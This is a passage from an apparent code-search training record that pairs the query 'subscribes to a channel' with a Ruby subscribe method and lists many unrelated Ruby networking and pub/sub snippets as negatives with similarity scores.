"def add(url, opts={}, req_opts={})\n \n defaults = {\n \"method\" => 'GET',\n \"version\" => '1.1',\n \"url\" => url,\n :auth => {} #accepts {:username => 'user_id', :password => 'pass'} hash\n }\n \n # This is used to tell Tsung if we want a dynamic substitution\n req_defaults = {\n \"subst\" => 'false',\n :ssl => self.config.ssl,\n :dyn_variables => {\n # \"name\"\n # \"re\"\n },\n :custom_headers => {},\n :secondary_server_req => nil,\n :external => false\n }\n\n opts = defaults.merge(opts)\n req_opts = req_defaults.merge(req_opts)\n @http_mode = (req_opts[:ssl] ? 'https' : 'http')\n \n # Split the hashes to take our dyn_variable\n #dyn_variables = req_opts.reject{|k,v| k == \"subst\"}[:dyn_variables]\n auth_opt = opts.select{|k,v| k == :auth}\n opts.reject!{|k,v| k == :auth}\n dyn_variables = req_opts[:dyn_variables]\n custom_headers = req_opts[:custom_headers]\n secondary_server_req = req_opts[:secondary_server_req]\n external = req_opts[:external]\n req_opts.delete_if{|k,v| k != \"subst\"}\n \n \n # Make sure we have a proper URL format\n base_url = ''\n self.config.log.debug_msg(\"URL: #{url}\\nLast Req External - Beg: #{@@last_req_external}\")\n \n # Secondary server request\n if(!secondary_server_req.nil?)\n # Secondary server, just set it to fully qualified hostname\n base_url = \"#{@http_mode}://#{secondary_server_req}\"\n base_url << \"/#{self.config.secondary_context}\" if(!self.config.secondary_context.empty?)\n base_url << '/' if(url !~ /^\\//)\n @@last_req_fq = true\n \n elsif(url !~ /^#{http_mode}/)\n \n # Take care of last request external\n if(@@last_req_external or (self.config.ssl and !@@last_req_fq))\n # We need to make the request fully qualified\n base_url = self.url\n @@last_req_fq = true\n else\n base_url << \"/#{self.config.context}\" if(url !~ /^\\/#{self.config.context}/ and !self.config.context.empty?)\n end\n \n base_url << '/' if(url !~ /^\\//)\n \n end\n \n url = base_url + url\n opts[\"url\"] = url\n \n self.config.log.debug_msg(\"New URL: #{url}\")\n \n # Building request string soley for list method\n req_str = \"<http url='#{url}' version='#{opts[:version]}' method='#{opts[:method]}'\"\n req_str << \" content_type='#{opts[:content_type]}'\" if(opts[:content_type])\n req_str << \" contents='#{opts[:contents]}'\" if(opts[:contents])\n req_str << \">\"\n\n req = @xml_element.add_element('request', req_opts)\n dyn_variables.each do |dyn_var|\n req.add_element('dyn_variable', dyn_var)\n end\n http = req.add_element('http', opts)\n \n # Write basic authentication for request if necessary\n #http.add_element('www_authenticate', {'userid' => auth_opt[:auth][:username], 'passwd' => auth_opt[:auth][:password]}) if(!auth_opt[:auth].empty?)\n \n # BUG - need a way to dynamically ingest custome headers per product\n # BUG - hardcoded to first app server\n custom_headers['Referer'] = self.url if(self.config.product == 'oae' and !custom_headers['Referer'])\n \n if(!custom_headers.empty?)\n custom_headers.each_pair do |key, value|\n http.add_element('http_header', {'name' => key, 'value' => value})\n end\n end\n \n # Set external flag if necessary\n @@last_req_external = (external ? true : false)\n external ? self.config.log.debug_msg(\"EXTERNAL: true\") : self.config.log.debug_msg(\"EXTERNAL: false\")\n self.config.log.debug_msg(\"Last Req External - End: #{@@last_req_external}\")\n \n @list << req_str\n end",
"def url(path)\n url = \"#{request.scheme}://#{request.host}\"\n\n if request.scheme == \"https\" && request.port != 443 ||\n request.scheme == \"http\" && request.port != 80\n url << \":#{request.port}\"\n end\n\n url << \"/\" unless path.index(\"/\").zero?\n url << path\n end",
"def url(path = nil)\n self.connection.url(path)\n end",
"def resource_for_path(path, options = {}, debug = true)\n RestClient.log = Logger.new(STDOUT) if debug\n RestClient.proxy = credentials[:proxy] if credentials[:proxy]\n url = ['https://', credentials[:domain], path].join\n RestClient::Resource.new url, options.merge(default_options)\n end",
"def get_request(path)\n resp = nil\n begin\n Timeout::timeout(5) do\n resp = do_http_request(path)\n end\n rescue => e\n raise NetBooter::Error.new(\"Error connecting to relay: #{e.message}\")\n end\n resp\n end",
"def initialize(host = nil, port = DEFAULT_PORT, user = nil, secret = nil)\n if host\n connect(host, port)\n authenticate(user, secret) if user and secret\n end\n end",
"def uri\n \"http://#{hostname}:#{port}#{path}\"\n end",
"def connect_to(host, port)\n if @proxy_uri\n Net::HTTP::Proxy(@proxy_uri.host, @proxy_uri.port, unescape(@proxy_uri.user), unescape(@proxy_uri.password)).new(host, port)\n else\n Net::HTTP.new(host, port)\n end\n end",
"def request(method, path, params, options)\n params = params.billyfy_keys!\n auth = {username: api_key, password: \"\"}\n case method.to_sym\n when :get\n response = HTTParty.get(endpoint + path, :query => params, :basic_auth => auth)\n when :post\n response = HTTParty.post(endpoint + path, :body => MultiJson.encode(params), :basic_auth => auth)\n when :delete\n response = HTTParty.delete(endpoint + path, :query => params, :basic_auth => auth)\n when :put\n response = HTTParty.put(endpoint + path, :body => MultiJson.encode(params), :basic_auth => auth)\n else\n end\n\n options[:raw] ? response : response.parsed_response.rubyify_keys!\n end",
"def url\n \"http://#{host}:#{port}\"\n end",
"def url\n \"http://#{host}:#{port}\"\n end",
"def request method:, path:, headers: {}, params: {}, body: nil, &block\n connect unless connected?\n s = @client.new_stream\n add_params params, path unless params.empty?\n stream = add_stream method: method, path: path, stream: s, &block\n\n h = build_headers method: method, path: path, headers: headers\n s.headers h, end_stream: body.nil?\n s.data body if body\n stream\n end",
"def ping(host = nil, options = {})\n\n super(host, options)\n\n # See https://bugs.ruby-lang.org/issues/8645\n url = host || @host\n if url =~ %r{^//}\n url = \"http:#{url}\"\n elsif url !~ %r{^https?://}\n url = \"url://#{url}\"\n end\n uri = URI.parse(url)\n\n # A port provided here overrides anything provided in constructor\n port = options[:port]\n port ||= uri.port if host\n port ||= @port\n\n timeout = options[:timeout] || @timeout\n\n start_time = Time.now\n\n http_response = do_ping(uri, port, timeout)\n\n if http_response.is_a?(Net::HTTPSuccess)\n set_response(http_response)\n @success = true\n elsif redirect?(http_response) # Check code, HTTPRedirection does not always work\n if @follow_redirect\n @warning = http_response.message\n rlimit = 0\n\n while redirect?(http_response)\n if rlimit >= redirect_limit\n @exception = \"Redirect limit exceeded\"\n break\n end\n redirect = URI.parse(http_response['location'])\n redirect = uri + redirect if redirect.relative?\n http_response = do_ping(redirect, port, timeout)\n rlimit += 1\n end\n\n if http_response.is_a?(Net::HTTPSuccess)\n set_response(http_response)\n @success = true\n else\n @warning = nil\n @exception ||= http_response.message\n end\n\n else\n @exception = http_response.message\n end\n else\n @exception ||= http_response.message\n end\n\n # There is no duration if the ping failed\n @duration = Time.now - start_time if @success\n\n @success\n end",
"def request(method, path, options)\n conn = connection(options)\n conn.instance_variable_set(:@parallel_manager, options[:parallel_manager]) if options[:parallel_manager]\n #binding.pry\n response = conn.send(method) do |request|\n #path = formatted_path(path) unless options[:unformatted] # || default_request?\n params = get_params(options)\n case method\n when :get, :delete\n request.url(path, params)\n # binding.pry\n when :post, :put\n request.path = path\n #if options['fileData']\n # request.headers['Content-type'] = 'multipart/form-data'\n # request.body = options\n #else\n #request.headers['Content-Type'] = 'application/json; charset=utf-8'\n request.body = params unless params.empty?\n #end\n end\n if options[:parallel_manager]\n env = request.to_env(conn)\n conn.parallel_manager.responses[env[:url].to_s] = {}\n conn.parallel_manager.responses[env[:url].to_s]['env'] = env\n end\n end\n #\n #binding.pry\n options[:raw] ? response : response.body\n #binding.pry\n end",
"def connect(host, port=nil)\n if host.respond_to?(:read) && host.respond_to?(:write)\n connect_with(host)\n else\n begin\n client.connect(host, port)\n rescue Errno::ECONNREFUSED\n raise Ahoy::ContactOfflineError.new(\"Contact Offline\")\n end\n end\n self\n end"
] |
[
"0.5861014",
"0.5769508",
"0.55753684",
"0.5493264",
"0.53579754",
"0.5347453",
"0.5288416",
"0.52617806",
"0.5240445",
"0.5232819",
"0.5217577",
"0.52027893",
"0.51894563",
"0.5173272",
"0.51656663",
"0.5163462",
"0.5148872",
"0.5143202",
"0.5138545",
"0.51004404",
"0.50679255",
"0.50634474",
"0.5041393",
"0.5024458",
"0.50165766",
"0.5014822",
"0.5013289",
"0.50104",
"0.49962676",
"0.49942786",
"0.49913347",
"0.49817067",
"0.4981458",
"0.49804887",
"0.497765",
"0.49715006",
"0.49673465",
"0.49530494",
"0.49437386",
"0.49404454",
"0.4915391",
"0.491029",
"0.4908487",
"0.48968166",
"0.48906684",
"0.48851392",
"0.4882512",
"0.48729235",
"0.48668915",
"0.4858164",
"0.48568398",
"0.48507273",
"0.4842473",
"0.48395607",
"0.4833135",
"0.48327824",
"0.48173165",
"0.48063844",
"0.4804324",
"0.48029923",
"0.47975448",
"0.47941858",
"0.47896352",
"0.47749266",
"0.47724515",
"0.47538492",
"0.47341335",
"0.47320682",
"0.47299936",
"0.47279513",
"0.47272673",
"0.47186664",
"0.47101048",
"0.47072348",
"0.46983445",
"0.4696664",
"0.46867645",
"0.4682918",
"0.4675992",
"0.46740454",
"0.4672557",
"0.4666524",
"0.4665343",
"0.46581703",
"0.46490112",
"0.4647474",
"0.46450886",
"0.4642763",
"0.4642697",
"0.4640612",
"0.46401837",
"0.46381983",
"0.4636617",
"0.4633971",
"0.46313772",
"0.4631285",
"0.4631285",
"0.46301985",
"0.46140608",
"0.46134028",
"0.46125454"
] |
0.0
|
-1
|
subscribes to a channel . need to be used inside the connect block passed to the actor
|
def subscribe(channel, data = {})
log_to_file("#{self.class} tries to subscribe to channel #{channel} with #{data.inspect}")
send_action('subscribe', channel, data)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def subscribe_to_channel; end",
"def subscribe(channel, *channels, &block); end",
"def subscribed\n \t#stream_from 'demo_chan'\n end",
"def subscribe_to(channel, &block)\n subscriptions[channel].subscribe(&block)\n end",
"def subscribe_to_channel(*)\n synchronize_entrypoint! { super }\n end",
"def subscribe( channel, &callback )\n fail NotImplementedError\n end",
"def subscribed\n stream_from channel_name\n end",
"def subscribe(*channels, &block); end",
"def subscribe\n conn = @cluster.connect\n conn.subscribe(ALL)\n conn.subscribe(SHARE)\n conn.subscribe(@channel)\n conn.on(:message) do |channel, message|\n @messages.push([channel, message])\n end\n end",
"def connect(channel)\r\n $LOG.info(\"Connecting to #{channel} channel.\")\r\n @channel = channel\r\n @pubNub.subscribe(\r\n :channel => @channel,\r\n :callback => method(:msgHandler),\r\n :http_sync => true\r\n )\r\n @pubNub.subscribe(\r\n :channel => @channel,\r\n :callback => method(:msgHandler),\r\n :http_sync => false\r\n )\r\n end",
"def subscribe_to_channel\n run_callbacks :subscribe do\n subscribed\n end\n\n reject_subscription if subscription_rejected?\n ensure_confirmation_sent\n end",
"def subscribe\n @conn.send_data :opcode => SUBSCRIBE, :channel => @name\n @subscribe_sent = true\n end",
"def subscribe(*args, &blk)\n (@client ||= connect).subscribe(*args, &blk)\n end",
"def subscribe(channel, &block)\n faye.subscribe \"/topic/#{channel}\", &block\n end",
"def subscribe\n @broker.subscribe(*self.class.subscriptions) do |channel, data|\n begin\n perform(channel, data)\n rescue => e\n puts \"Exception #{e}\"\n end\n end\n end",
"def subscribe(params = {})\n @connection ||= stub_connection\n @subscription = self.class.channel_class.new(connection, CHANNEL_IDENTIFIER, params.with_indifferent_access)\n @subscription.singleton_class.include(ChannelStub)\n @subscription.subscribe_to_channel\n @subscription\n end",
"def subscribe( channel, callback )\n if @channels.include?(channel)\n @channels[channel] << callback\n else\n @channels[channel]=[callback]\n @client.subscribe channel\n end\n end",
"def subscribe(client_id, channel, &callback)\n super\n publish_awaiting_messages(channel)\n end",
"def psubscribe(*channels, &block)\n raise NotImplementedError\n end",
"def subscribe(channel)\n @env.trace 'subscribing'\n @subscription_id = @application.subscribe(self, channel) do |msg|\n @queue.push msg\n end\n @subscription_id\n end",
"def subscribe(channel)\n @ws.send(get_subscribe_object(channel, increment_cnt).to_json)\n @channels << channel unless @channels.include?(channel)\n end",
"def subscribed\n super\n increase_current_users\n stream_from channel\n end",
"def subscribe_channels\n @channels.each { |channel| subscribe(channel) }\n end",
"def subscribe(&onMessage) # block\n end",
"def subscribe(*channels, &block)\n _subscription(:subscribe, 0, channels, block)\n end",
"def subscription_channel\n @subscription_channel ||= ::AMQP::Channel.new(connection).prefetch(1)\n end",
"def channel\n @channel ||= Proletariat.connection.create_channel\n end",
"def channel\n @channel ||= Proletariat.connection.create_channel\n end",
"def run_subscribe(conn, dest)\n return if not @need_subscribe\n @log.debug \"run_subscribe starts\"\n conn.subscribe(dest) # call hook\n @log.debug \"run_subscribe done\"\n @need_subscribe = false\n @need_gets = true\nend",
"def subscribe(connection)\n channel = connection.create_channel\n q = channel.queue DESTINATION_QUEUE, durable: true\n q.subscribe do |delivery, headers, body|\n puts \"#{Time.now}: Got the message\"\n end\nend",
"def subscribe(&callback)\n redis.subscribe(channel) do |on|\n on.message do |channel, payload|\n data = JSON.parse(payload) rescue payload\n callback.call channel, data, self\n end\n end\n end",
"def subscribe!\n # TODO: Implement\n end",
"def subscribe(channel, connection)\n sid = Channel[app_id => channel].subscribe {|msg| connection.send(msg) }\n subscriptions[channel => connection.signature] = sid\n sid\n end",
"def subscribe(args)\n ## Capture User Input\n channel = args['channel']\n callback = args['callback']\n\n ## Fail if missing channel\n if !channel\n puts \"Missing Channel.\"\n return false\n end\n\n ## Fail if missing callback\n if !callback\n puts \"Missing Callback.\"\n return false\n end\n\n ## Begin Subscribe\n loop do\n begin\n timetoken = args['timetoken'] ? args['timetoken'] : 0\n\n ## Wait for Message\n response = _request([\n 'subscribe',\n @subscribe_key,\n channel,\n '0',\n timetoken.to_s\n ])\n\n messages = response[0]\n args['timetoken'] = response[1]\n\n ## If it was a timeout\n next if !messages.length\n\n ## Run user Callback and Reconnect if user permits.\n ## Capture the message and encrypt it\n if @cipher_key.length > 0\n pc = PubnubCrypto.new(@cipher_key)\n messages.each do |message|\n if message.is_a? Array\n message=pc.decryptArray(message)\n else\n message=pc.decryptObject(message)\n end\n if !callback.call(message)\n return\n end\n end\n else\n messages.each do |message|\n if !callback.call(message)\n return\n end\n end\n end\n rescue Timeout::Error\n rescue\n sleep(1)\n end\n end\n end",
"def consume_connection\n return unless @channel\n connection = @channel.connection\n connection.process while connection.reader_ready?\n end",
"def subscribe(data)\n # @channels (local tracker)\n # push channel name into subscribe list, if and only if not already in subscribe list\n end",
"def subscribe\n Socky.send( {:action => \"subscribe\",\n :channel => params[:channel],\n :client => (params[:client_id] || '')}.to_json)\n render :text => \"ok\"\n end",
"def subscribe(channel, *channels, &block)\n if channels.empty?\n @subscribed_node = node_for(channel)\n @subscribed_node.subscribe(channel, &block)\n else\n ensure_same_node(:subscribe, [channel] + channels) do |node|\n @subscribed_node = node\n node.subscribe(channel, *channels, &block)\n end\n end\n end",
"def subscribe_to_channel(channel)\n\n details = read_server_conf()\n client = XMLRPC::Client.new2(details[:server])\n\n # Enable SSL certificate verification; we don't want to login to some other Satellite server!\n client.instance_variable_get(\"@http\").verify_mode = OpenSSL::SSL::VERIFY_PEER\n client.instance_variable_get(\"@http\").ca_file = \"/usr/share/rhn/RHN-ORG-TRUSTED-SSL-CERT\"\n\n # Get systemid; up2date API uses this to auth a client\n systemid = read_systemid\n\n # Call API and subscribe us to a channel\n client.call(\"up2date.subscribeChannels\", systemid, [channel], details[:username], details[:password])\n\n end",
"def initialize(channel, &callback)\n @channel = channel\n @redis = Connection.new\n subscribe &callback\n end",
"def subscribe(&b)\n @publisher.subscribe(&b)\n end",
"def listen_on(channel)\n sns.subscribe(\n topic_arn: channel.arn,\n protocol: 'application',\n endpoint: channel.endpoint\n )\n end",
"def to_channel\n self\n end",
"def subscribe(args)\n ## Capture User Input\n channel = args['channel']\n callback = args['callback']\n timetoken = args['timetoken'] ? args['timetoken'] : 0\n\n ## Fail if missing channel\n if !channel\n puts \"Missing Channel.\\n\"\n return false\n end\n\n ## Fail if missing callback\n if !callback\n puts \"Missing Callback.\\n\"\n return false\n end\n\n ## Begin Recusive Subscribe\n begin\n ## Wait for Message\n response = self._request([\n 'subscribe',\n @subscribe_key,\n channel,\n '0',\n timetoken.to_s\n ])\n\n messages = response[0]\n args['timetoken'] = response[1]\n\n \n ## If it was a timeout\n if !messages.length\n return self.subscribe(args)\n end\n\n ## Run user Callback and Reconnect if user permits.\n messages.each do |message|\n if !callback.call(message)\n return\n end\n end\n\n ## Keep Listening.\n return self.subscribe(args)\n rescue Timeout::Error\n return self.subscribe(args)\n rescue\n sleep(1)\n return self.subscribe(args)\n end\n end",
"def subscribe(&blk)\n pres = connection.presence_stanza('to'=>jid.bare, 'type' => 'subscribe')\n connection.send_stanza pres, &blk\n end",
"def set_up_channel\n amqp_conn = Bunny.new\n amqp_conn.start\n channel = amqp_conn.create_channel\nend",
"def subscribe(client_id, channel, &callback)\n if @subscriptions.containsEntry(client_id, channel)\n callback.call(true) if callback\n return\n end\n @subscriptions.put(client_id, channel)\n @channels.put(channel, client_id)\n @server.debug 'Subscribed client ? to channel ?', client_id, channel\n @server.trigger(:subscribe, client_id, channel)\n callback.call(true) if callback\n end",
"def channel\n return @channel\n end",
"def subscribe_with_timeout(timeout, *channels, &block); end",
"def subscribe(_topic, **)\n raise 'not implemented'\n end",
"def psubscribe(*channels, &block)\n _subscription(:psubscribe, 0, channels, block)\n end",
"def do_subscribe\n subscribe_to(@nodename)\n get_subscriptions\n end",
"def subscribed; end",
"def subscribe(channel, aggregator, token)\n if authorized(channel, token, 'sub')\n logger.debug \"client #{@id} subscribed to: #{channel}\"\n unless channel.empty? || @channels.has_key?(channel)\n @sub.subscribe(namespace + channel)\n @channels[channel] = Aggregator.new(aggregator) # will be pass-through if blank\n end\n end\n end",
"def publish_channel\n @publish_channel ||= ::AMQP::Channel.new(connection)\n end",
"def psubscribe_with_timeout(timeout, *channels, &block); end",
"def subscribe(agent, type, collective)\n source = make_target(agent, type, collective)\n unless @subscriptions.include?(source)\n Log.debug(\"Subscribing to #{source}\")\n queue = @channel.queue(source)\n queue.subscribe(:block => false) do |delivery_info, properties, payload|\n msg = { :delivery_info => delivery_info, :properties => properties, :payload => payload }\n @buf.synchronize do\n @buf.push(msg)\n @empty_cond.signal\n end\n end\n @subscriptions << source\n end\n end",
"def data_channel_open\n puts \"Data channel open!\"\n data_channel = $$.data_channel\n # send_message(\"ALIVE\")\nend",
"def channel\n\n Thread.current['_boss_amqp_channel'] ||= amqp_connect.create_channel\n end",
"def test1 #fails\n\n EventMachine::WebSocket.start(:host => \"0.0.0.0\", :port => 8567) do |ws|\n ws.onopen do\n puts \"WebSocket opened\"\n conn = Bunny.new\n conn.start\n#ch = conn.default_channel\n q = $ch.queue(\"tweets\")\n q.subscribe(:block => true) do |delivery_info, properties, body|\n puts \"Received tweet\\n\"\n ws.send \"test\"\n end\n end\n ws.onclose do\n ws.close(code = nil, body = nil)\n puts \"WebSocket closed\"\n# exit\n end\n end\nend",
"def subscribe(node, host, &block)\n pubsub.subscribe(node, nil, host, &callback_logging(__method__, node, &block))\n end",
"def agent(channel); end",
"def subscribe_webhook\n @redis = EM::Hiredis.connect(Settings.redis)\n pubsub = @redis.pubsub\n pubsub.subscribe(subscribed_channel)\n pubsub.on(:message) do |channel, message|\n render(message, event: :webhook)\n end\n end",
"def channel\n # Create new channel if closed\n if @channel.nil? || @channel.closed?\n @channel = connection.create_channel\n end\n @channel\n end",
"def on_open_channel(type, &block); end",
"def subscribe(key)\n @amq.queue(key).subscribe do |value|\n yield value\n end\n end",
"def channels; end",
"def subscribe(selector)\n channel = self\n @mutex.synchronize do\n loop do\n return selector.result unless selector.waiting?\n if @queue.empty?\n @waiting.push Thread.current\n @mutex.sleep\n else\n selector.mutex.synchronize do\n if selector.waiting?\n result = selector.update_result(channel, @queue.shift)\n yield result\n end\n end\n selector.release_result\n return selector.result\n end\n end\n end\n end",
"def subscribe\n \nend",
"def subscribe\n @player.subscribe(self)\n end",
"def channel\n return @channel if @channel && !@channel.closed?\n @channel = connect.create_channel\n rescue Bunny::ChannelAlreadyClosed => e\n reconnect\n end",
"def subscribe(key)\n @queue = @rabbit.channel.queue(\"\", :exclusive => true)\n @queue.bind(@exchange, :routing_key => key)\n begin\n @queue.subscribe(:block => true) do |delivery_info, metadata, payload|\n message = JSON.parse(payload, symbolize_names: true)\n yield message\n end\n rescue Interrupt => _\n @rabbit.close\n end\n end",
"def subscribe(topic, channel, options={}, &block)\n Util.assert_topic_and_channel_valid(topic, channel)\n subscriber = nil\n name = \"#{topic}:#{channel}\"\n @subscriber_mutex.synchronize do\n raise \"Already subscribed to #{name}\" if @subscribers[name]\n subscriber_class = block_given? ? Subscriber : QueueSubscriber\n subscriber = @subscribers[name] = subscriber_class.new(self, topic, channel, options, &block)\n end\n\n @nsqd_tcp_addresses.each do |addr|\n address, port = addr.split(':')\n subscriber.add_connection(address, port.to_i)\n end\n subscriber\n end",
"def subscribe\n self.subscribed = true\n end",
"def monitor_redis\n # redis.dup.subscribe(REDIS_CHANNEL) do |on|\n redis.subscribe(REDIS_CHANNEL) do |on|\n on.message do |_, message|\n l = REDIS_HEAD_FIELD_LENGTH\n channel = message[0, l].strip\n client_id = message[l, l].strip\n json = message[(l * 2)..-1]\n send_json_message(client_id: client_id, channel: channel, json: json)\n end\n end\n end",
"def incoming(msg, cb)\n\n case msg['channel']\n when '/meta/subscribe'\n channel = ::Pathname.new(msg['subscription']).basename.to_s\n return deny(msg, cb) unless is_authorized? msg, channel\n @reaction.registry.add(channel, msg['clientId'])\n info { \"Subscribe request from #{msg['clientId']} approved.\"}\n when %r{^/meta/}\n else return app_push msg, cb\n end\n\n cb.call(msg)\n\n end",
"def connect!\n EventMachine.run do\n EventMachine::MQTT::ClientConnection.connect(@server) do |c|\n c.subscribe(@topic)\n c.receive_callback do |message|\n handle_incoming_message(message)\n end\n end\n end\n end",
"def connect\n rabbit.transaction_short do\n @publisher = Rabbit::Publisher::Admin.new(rabbit.channel)\n yield\n end\n end",
"def channel_flow(active)\n subject.channel_flow(active)\n end",
"def channel\n Channel.get(@name)\n end",
"def create_channel\n AMQP::Channel.new(@amqp_client)\n end",
"def subscribe(event, *args, &block)\n event(event).subscribe(*args, &block)\n end",
"def subscribe(source)\n unless @subscriptions.include?(source)\n EM::defer do \n Log.debug(\"Subscribing to #{source}\")\n wait_until_connected?\n @connection.subscribe(source)\n @subscriptions << source\n end\n end\n end",
"def subscribe\n subscribee = connection.jid.bare\n\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('subscribe','node' => node_id, 'jid'=>subscribee)\n )\n )\n\n send_iq_stanza_fibered iq\n end",
"def subscribed # :doc:\n # Override in subclasses\n end",
"def connect_topic\n # scott old ack auot\n # see http://activemq.apache.org/stomp.html for activemq.dispathAsync settig\n self.conn.subscribe( self.topic, { :ack =>\"client\" , 'activemq.dispatchAsync' => 'false'}) { |msg| \n \n self.msg_count+=1\n \t begin\t\n \t self.conn.acknowledge(msg,msg.headers) \n \t self.queue << msg \n \t \n rescue Exception => e\n self.exception_count+=1\n puts \" Thread: :exception found #{e.backtrace}\" \n puts \"Thread: :exception messag #{e.message}\"\n end\n \n }\n end",
"def subscribe(message_name, &block)\n @subscriptions = {} if @subscriptions.nil?\n consumers = @subscriptions[message_name]\n consumers = [] if consumers.nil?\n consumers << block\n @subscriptions[message_name] = consumers\n @transport.bind message_name\n end",
"def handle_subscribe(client, data)\n topic = @engine.subscribe_client_to_topic client, data[0]\n\n trigger(:subscribe, client, topic.uri)\n end",
"def subscribed\n @course_queue = CourseQueue.find(params[:id])\n stream_for @course_queue\n end",
"def setup_stream(channel, initial_event)\n topic = initial_event.topic\n channel.stream_from(stream_event_name(initial_event), coder: @action_cable_coder) do |message|\n events_by_fingerprint = @events[topic]\n object = nil\n events_by_fingerprint.each do |_fingerprint, events|\n if events.any? && events.first == initial_event\n # The fingerprint has told us that this response should be shared by all subscribers,\n # so just run it once, then deliver the result to every subscriber\n first_event = events.first\n first_subscription_id = first_event.context.fetch(:subscription_id)\n object ||= load_action_cable_message(message, first_event.context)\n result = execute_update(first_subscription_id, first_event, object)\n if !result.nil?\n # Having calculated the result _once_, send the same payload to all subscribers\n events.each do |event|\n subscription_id = event.context.fetch(:subscription_id)\n deliver(subscription_id, result)\n end\n end\n end\n end\n nil\n end\n end",
"def subscribe(key)\n @amq.queue(key).subscribe do |header, body|\n value = YAML.load(body)\n yield value\n end\n end",
"def start\n # subscribe is like a callback\n @server_queue.subscribe(block: @block) do |delivery_info, properties, payload|\n consume(delivery_info, properties, payload)\n end\n end",
"def subscribe &handler\n input = \"\"\n response = 0\n #wait for message from pull socket\n while true\n response = @pull.recv_string(input)\n if !error?(response)\n input.chomp!\n\n #Message received\n yield input if block_given?\n Communicator::get_logger.info \"Message received: #{input}\"\n end\n end\n end",
"def pubsub; end",
"def open_channel(type = T.unsafe(nil), *extra, &on_confirm); end",
"def channel i, param\r\n param.clone.tap{ |hash| \r\n hash[:channel] = i.to_s\r\n self.channel_dispatch hash\r\n self.vertical hash\r\n }\r\n end",
"def start\n Thread.new do\n loop do\n @connection.wait_for_notify do |channel|\n @actions[channel].call\n end\n end\n end\n end",
"def channel(name)\n arn = self.fetch(name)\n region = arn.split(':')[3]\n notifier_builder.new(region: region).topics[arn]\n end",
"def subscribe dest, ack=false\n send_frame \"SUBSCRIBE\", {:destination=>dest, :ack=>(ack ? \"client\" : \"auto\")}\n end",
"def subscribe\n return unless self.hub.nil?\n\n # Discover hubs if none exist\n @hubs = discover_hubs_for_topic(self.topic_url) if self.hubs.empty?\n @hub = self.hubs.first\n change_subscription(:subscribe, token)\n\n # TODO: Check response, if failed, try a different hub\n end"
] |
[
"0.8191055",
"0.7680548",
"0.7530543",
"0.7519236",
"0.74094284",
"0.7320657",
"0.73168546",
"0.7305912",
"0.7242643",
"0.72143435",
"0.7063089",
"0.69621795",
"0.69348615",
"0.6924723",
"0.68589544",
"0.6847837",
"0.68411654",
"0.6794809",
"0.6787589",
"0.67196274",
"0.6715446",
"0.66603833",
"0.6635611",
"0.65989846",
"0.6571074",
"0.65368444",
"0.6522479",
"0.6522479",
"0.65218353",
"0.6510194",
"0.648132",
"0.6477689",
"0.64321953",
"0.64294386",
"0.6405407",
"0.63848984",
"0.6371479",
"0.6359004",
"0.63419044",
"0.633459",
"0.628445",
"0.6281369",
"0.6278754",
"0.62782806",
"0.6257124",
"0.6246715",
"0.6221654",
"0.6219216",
"0.62096107",
"0.62030685",
"0.62022364",
"0.61984694",
"0.6179685",
"0.6171137",
"0.6168388",
"0.616576",
"0.615725",
"0.6156546",
"0.6138271",
"0.6124756",
"0.61106795",
"0.610704",
"0.6101611",
"0.60834914",
"0.60569614",
"0.6041838",
"0.60143274",
"0.60103416",
"0.59870565",
"0.5986172",
"0.5974971",
"0.5966373",
"0.5963976",
"0.5955422",
"0.59029996",
"0.5897393",
"0.5889812",
"0.5881884",
"0.58723",
"0.58626753",
"0.58466125",
"0.5839122",
"0.5833873",
"0.58222175",
"0.58060855",
"0.58005226",
"0.5790387",
"0.57740813",
"0.5770822",
"0.57650864",
"0.57472306",
"0.5742075",
"0.57361794",
"0.57354087",
"0.57314366",
"0.572982",
"0.57247645",
"0.5721895",
"0.5715489",
"0.5711166"
] |
0.6814656
|
17
|
publishes to a channel some data (can be anything)
|
def publish(channel, data)
send_action('publish', channel, data)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def publish(data)\n @consumer_channel.push data\n end",
"def publish_to(channel, data)\n\t\t\tpublish_message(message(channel, data))\n\t\tend",
"def publish_to(channel, data)\n publish_message(message(channel, data))\n end",
"def publish(channel, data, id=nil, prev_id=nil)\n @pub.publish(channel, Item.new(JsonObjectFormat.new(data), id, prev_id))\n end",
"def publish_to(channel, data)\n publish_message(message(channel, data))\n end",
"def publish(channel, data)\n @ws.send(get_publish_object(channel, data, increment_cnt).to_json)\n end",
"def publish(channel, message); end",
"def publish(channel, message); end",
"def publish(object)\n @channel << object\n end",
"def publish(channel, event, data)\n Pusher[channel].trigger(event,data)\n end",
"def publish options = {} # channel = to_s, data = nil\n return unless options[ :data ]\n BROADCASTER.publish options.fetch( :channel, to_s ), _get_msg( options[ :data ], true ) # options[ :data ]\n end",
"def ppublish options = {} \n return unless options[ :data ]\n channel = options[ :channel ] ? \"#{to_s}#{_separator}#{options[ :channel ]}\" : to_s\n BROADCASTER.publish channel, _get_msg( options[ :data ], true ) # options[ :data ]\n end",
"def publish options = {}\n return unless options[ :data ]\n PUBLISHER.publish options.fetch( :channel, to_s ), _get_msg( options[ :data ], true )\n end",
"def publish(data, opts = {})\n\t exchange.publish(data, opts)\n\t end",
"def ppublish options = {}\n return unless options[ :data ]\n channel = options[ :channel ] ? \"#{to_s}#{_separator}#{options[ :channel ]}\" : to_s\n PUBLISHER.publish channel, _get_msg( options[ :data ], true )\n end",
"def publish_async(channel, data, id=nil, prev_id=nil, callback=nil)\n @pub.publish_async(channel, Item.new(JsonObjectFormat.new(data), id,\n prev_id), callback)\n end",
"def publish(event_name:, event_data:, channel_name: :global)\n channel = get_channel(name: channel_name)\n channel.publish(event_name: event_name, event_data: event_data)\n end",
"def subscribe_to_channel; end",
"def publish msg\n @conn.send_data :opcode => PUBLISH, :channel => @name, :data => msg.to_s\n end",
"def perform(channel, message)\n Redis.current.publish(\n '__anycable__', MultiJson.dump(\n stream: channel,\n command: 'message',\n data: MultiJson.dump(message)\n )\n )\n end",
"def publish(channels, item)\n @clients.each do |pub|\n pub.publish(channels, item)\n end\n end",
"def publish(topic, key, data)\n key = topic+'.'+key\n gamex_publish(key, data)\n end",
"def publish(channel, message = '')\n Connection.publish(channel, message)\n end",
